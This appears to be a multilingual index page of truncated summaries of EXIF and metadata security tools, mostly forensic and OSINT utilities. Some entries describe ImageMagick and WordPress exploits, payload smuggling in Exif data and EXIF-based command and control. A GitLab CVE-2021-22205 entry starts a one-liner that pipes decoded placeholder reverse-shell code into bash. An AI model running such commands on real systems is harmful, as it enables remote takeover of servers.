FOCA

FOCA（通过收集的档案对组织进行指纹识别） FOCA 是一款主要用于查找扫描文档中的元数据和隐藏信息的工具 。这些文档可能位于网页上，可以使用 FOCA 下载并分析。 它能够分析多种文档，最常见的是 Microsoft Office 、Open Office 或 PDF 文件，尽管它也能分析例如 Adobe InDesign 或 SVG 文件。 这些文档通过三个可用的搜索引擎进行搜索：Google 、Bing 和 DuckDuckGo 。三个引擎的结果总和构成了大量文档。也可以添加本地文件来提取图形文件中的 EXIF 信息，并且在下载文件之前，就已经对通过 URL...

auto-cve-2022-44268.sh

auto-cve-2022-44268 Automatizando la explotación de CVE-2022-44268 ImageMagick Arbitrary File Read Hallazgo original: https://www.metabaseq.com/imagemagick-zero-days/ Repositorio del PoC: https://github.com/duc-nt/CVE-2022-44268-ImageMagick-Arbitrary-File-Read-PoC Descripción ImageMagick...

ExifSmugglingPoC

Contrabando de Exif Una evolución de prueba de concepto del Contrabando de Caché. Este ataque oculta un payload ejecutable dentro de los datos Exif de un JPG. Como resultado, el almacenamiento en caché de imágenes como el de un navegador web puede usarse para descargar pasivamente el payload. Com...

exifLooter

Exif Looter 博客文章 » · 报告 Bug · 请求功能 目录 1. 开始入门 安装 2. 使用 分析特定图像 分析特定目录 管道与其他工具 从图像中移除元数据 获取开放街道地图 URL 3. 报告 4. 路线图 5. 贡献 6. 许可证 7. 联系 开始入门 关于在本地设置 Exif Looter 的通用信息 安装 root@kitploit: go install github.com/aydinnyunus/exifLooter@latest ExifLooter 依赖于 exiftool，因此请确保它已在您的 PATH 中。 在 Kali Linux 上...

onionscan

What is OnionScan? OnionScan is a free and open source tool for investigating the Dark Web. For all the amazing technological innovations in the anonymity and privacy space, there is always a constant threat that has no effective technological patch - human error. Whether it is operational securi...

basecrack

BaseCrack Base编码方案解码器 BaseCrack 是一个用 Python 编写的工具，可以解码所有字母数字 Base 编码方案。该工具可以接受单个用户输入、来自文件的多个输入、来自参数的输入、多重编码的 Base 、图像 EXIF 数据中的 Base 、使用 OCR 识别图像上的 Base ，并且解码速度非常快。 基本演示可尝试 Web 界面，它使用了 BaseCrack 的 API。 趣闻! 最初我是在受够了无聊的 CTF 挑战中那些多重编码的 Base 后制作的。现在有些挑战开始将其用于隐写术题目中，所以我干脆也把这个自动化了！ 目录 功能特性 支持的编码方案 安装 使...

Refloow-Geo-Forensics

📍 Refloow™ Geo Forensics 官方 GitHub 仓库 专业开源 OSINT 与数字取证工具 版本 1.4.0（最新）： 版本 1.0.0（发布）： Refloow™ Geo Forensics 是一款高性能的开源数字取证工具，专为调查人员、OSINT 从业者和安全分析师设计。它能从批量图像或视频中自动提取 EXIF 元数据，在交互式地图上可视化地理空间数据，并重建按时间顺序的事件时间线，以揭示数字证据中隐藏的联系。完全私有且本地运行，无数据收集，无需登录。 资源与社交媒体 | 报告问题 / 请求功能 | 其他 Refloow 软件 !IMPORTANT...

external_libexif_AOSP10_r33_CVE-2020-0181

libexif ------- 描述 libexif 是一个用于解析、编辑和保存 EXIF 数据的库。它旨在取代命令行工具和 GUI 程序中大量冗余的实现。 特性 libexif 支持 EXIF 数据的解析、编辑和保存。此外，它还具有 gettext 支持。支持 EXIF 标准 2.1（以及大部分 2.2）中描述的所有 EXIF 标签。还支持来自佳能、卡西欧、爱普生、富士、尼康、奥林巴斯、宾得和三洋相机的许多制造商注释。 依赖 libexif 用纯 C 语言编写，不需要任何额外的库。如果可用，将使用 GNU gettext 进行语言翻译。 限制 libexif...

external_libexif_AOSP10_CVE-2020-0452

libexif ------- DESCRIPCIÓN libexif es una biblioteca para analizar, editar y guardar datos EXIF. Está diseñada para reemplazar muchas implementaciones redundantes en utilidades de línea de comandos y programas con interfaces gráficas. CARACTERÍSTICAS libexif admite el análisis, edición y guardad...

WP_CROP_RCE

Informe de análisis de WordPress Image CROP RCE POC & Dockekfile : https://github.com/synod2/WPCROPRCE Este documento trata sobre las vulnerabilidades CVE-2019-8942 y CVE-2019-8943, conocidas como WordPress Image CROP RCE, encontradas en versiones de WordPress anteriores a 4.9.9 y 5.0.1...

GitLab-preauth-RCE_CVE-2021-22205

GitLab-preauth-RCECVE-2021-22205 PoC de bash en una línea para RCE preautenticado en GitLab CVE-2021-22205 root@kitploit: t="http://vuln.site";cmd='echo xxxbase64ofreverseshellcodexxx |base64 -d|bash';f="1.jpg";echo...

external_libexif_AOSP10_r33_CVE-2020-0198

libexif ------- DESCRIPTION libexif is a library for parsing, editing, and saving EXIF data. It is intended to replace lots of redundant implementations in command-line utilities and programs with GUIs. FEATURES libexif supports parsing, editing and saving of EXIF data. In addition, it has gettex...

imago-forensics

imago-forensics 🕵️ Imago es una herramienta Python que extrae evidencias digitales de imágenes de forma recursiva. Esta herramienta es útil durante una investigación forense digital. Si necesitas extraer evidencias digitales y tienes muchas imágenes, a través de esta herramienta podrás compararlas...

imago-forensics

imago-forensics 🕵️ Imago is a python tool that extract digital evidences from images recursively. This tool is useful throughout a digital forensic investigation. If you need to extract digital evidences and you have a lot of images, through this tool you will be able to compare them easily. Imago...

exif-gps-tracer

exif-gps-tracer 一个Python脚本，用于从数据集中的图像文件中解析地理定位数据。它还会生成CSV文件以及HTML格式的Google地图输出。 前提条件 要顺利运行此脚本， （1）您需要拥有Google Maps API （2）您需要在控制台中启用Map JavaScript API 要获取API密钥，请参阅此文档... https://developers.google.com/maps/documentation/javascript/get-api-key 安装 root@kitploit: git clone...

goca

Goca es un fork de FOCA escrito en Go, una herramienta utilizada principalmente para encontrar metadatos e información oculta en los documentos que escanea. Estos documentos pueden estar en páginas web, y se pueden descargar y analizar con Goca. Es capaz de analizar una amplia variedad de...

Exif-Remove

命令行工具 - 轻松移除Exif数据 该工具使用Python 2.7编写，并通过pyinstaller编译为Windows操作系统版本。这个工具没有什么特别之处，只是让我的工作更轻松，也许对你也有用。 为什么？ Exif是存储在你的照片中的隐藏Metadata。许多好意的人无意中expose personal information，这些信息嵌入在这些数字图片的元数据中。为了更好地保护你的在线confidentiality，移除Exif数据至关重要。 更新日志 v.1.0.3 工具会检查Exif数据是否已被移除（通过文件名中的ex字符串识别） 修复问题 - 单线程工作器 安装说明...

Exif-Grabber

Acerca de Exif Grabber Versión Beta Exif Grabber es una herramienta de Python diseñada para extraer datos exif de imágenes con dos métodos Captura de pantalla Captura de pantalla mostrando una parte de su funcionamiento Requisito Librería Exifread :https://pypi.python.org/pypi/ExifRead Instalació...

MetadataPlus

MetadataPlus V.1.0 - Chris Nevin @ NCCGroup Una herramienta para extraer metadatos de archivos de Microsoft Office que incluye nuevas ubicaciones no verificadas en otras herramientas. Ejemplo de uso: Ejecutar en documentos compatibles en el directorio donde se encuentra: MetaDataPlus.exe...

xzf

Introducción xzf es un PoC simple que demuestra cómo los datos EXIF pueden usarse para comando y control. xzf obtiene una imagen de una URL predeterminada, luego lee la etiqueta de software para obtener una cadena de autenticación. Si la cadena coincide, xzf ejecutará cualquier cosa contenida en ...